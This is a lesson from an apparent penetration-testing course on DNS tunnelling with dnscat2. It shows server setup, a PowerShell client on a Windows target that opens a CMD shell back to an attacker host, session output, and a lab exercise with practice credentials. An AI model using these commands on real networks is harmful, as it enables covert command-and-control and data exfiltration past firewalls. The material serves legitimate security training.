DNS Tunneling with Dnscat2

Dnscat2 is a tunneling tool that uses DNS protocol to send data between two hosts. It uses an encrypted `Command-&-Control` (`C&C` or `C2`) channel and sends data inside TXT records within the DNS protocol. Usually, every active directory domain environment in a corporate network will have its own DNS server, which will resolve hostnames to IP addresses and route the traffic to external DNS servers participating in the overarching DNS system. However, with dnscat2, the address resolution is requested from an external server. When a local DNS server tries to resolve an address, data is exfiltrated and sent over the network instead of a legitimate DNS request. Dnscat2 can be an extremely stealthy approach to exfiltrate data while evading firewall detections which strip the HTTPS connections and sniff the traffic. For our testing example, we can use dnscat2 server on our attack host, and execute the dnscat2 client on another Windows host.

Setting Up & Using dnscat2

If dnscat2 is not already set up on our attack host, we can do so using the following commands:

Cloning dnscat2 and Setting Up the Server

Cloning dnscat2 and Setting Up the Server

```
ipp@htb[/htb]$ git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/
gem install bundler
bundle install
```

We can then start the dnscat2 server by executing the dnscat2 file.

Starting the dnscat2 server

Starting the dnscat2 server

```
ipp@htb[/htb]$ sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.loca

New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=0ec04a91cd1e963f8c03ca499d589d21

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
```

After running the server, it will provide us the secret key, which we will have to provide to our dnscat2 client on the Windows host so that it can authenticate and encrypt the data that is sent to our external dnscat2 server. We can use the client with the dnscat2 project or use dnscat2-powershell, a dnscat2 compatible PowerShell-based client that we can run from Windows targets to establish a tunnel with our dnscat2 server. We can clone the project containing the client file to our attack host, then transfer it to the target.

Cloning dnscat2-powershell to the Attack Host

Cloning dnscat2-powershell to the Attack Host

```
ipp@htb[/htb]$ git clone https://github.com/lukebaggett/dnscat2-powershell.git
```

Once the `dnscat2.ps1` file is on the target we can import it and run associated cmd-lets.

Importing dnscat2.ps1

Importing dnscat2.ps1

```
PS C:\htb> Import-Module dnscat2.ps1
```

After dnscat2.ps1 is imported, we can use it to establish a tunnel with the server running on our attack host. We can send back a CMD shell session to our server.

Importing dnscat2.ps1

```
PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret
```

We must use the pre-shared secret (`-PreSharedSecret`) generated on the server to ensure our session is established and encrypted. If all steps are completed successfully, we will see a session established with our server.

Confirming Session Establishment

Confirming Session Establishment

```
New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2>
```

We can list the options we have with dnscat2 by entering `?` at the prompt.

Listing dnscat2 Options

Listing dnscat2 Options

```
dnscat2> ?

Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
```

We can use dnscat2 to interact with sessions and move further in a target environment on engagements. We will not cover all possibilities with dnscat2 in this module, but it is strongly encouraged to practice with it and maybe even find creative ways to use it on an engagement. Let's interact with our established session and drop into a shell.

Interacting with the Established Session

Interacting with the Established Session

```
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
exec (OFFICEMANAGER) 1>
```

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Cheat Sheet

Get VPN Key

Target: Click here to spawn the target system!

RDP to with user "htb-student" and password "HTB_@cademy_stdnt!"

+ 1 Using the concepts taught in this section, connect to the target and establish a DNS Tunnel that provides a shell session. Submit the contents of C:\Users\htb-student\Documents\flag.txt as the answer.

Submit your answer here...

Submit

← Previous Next →

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left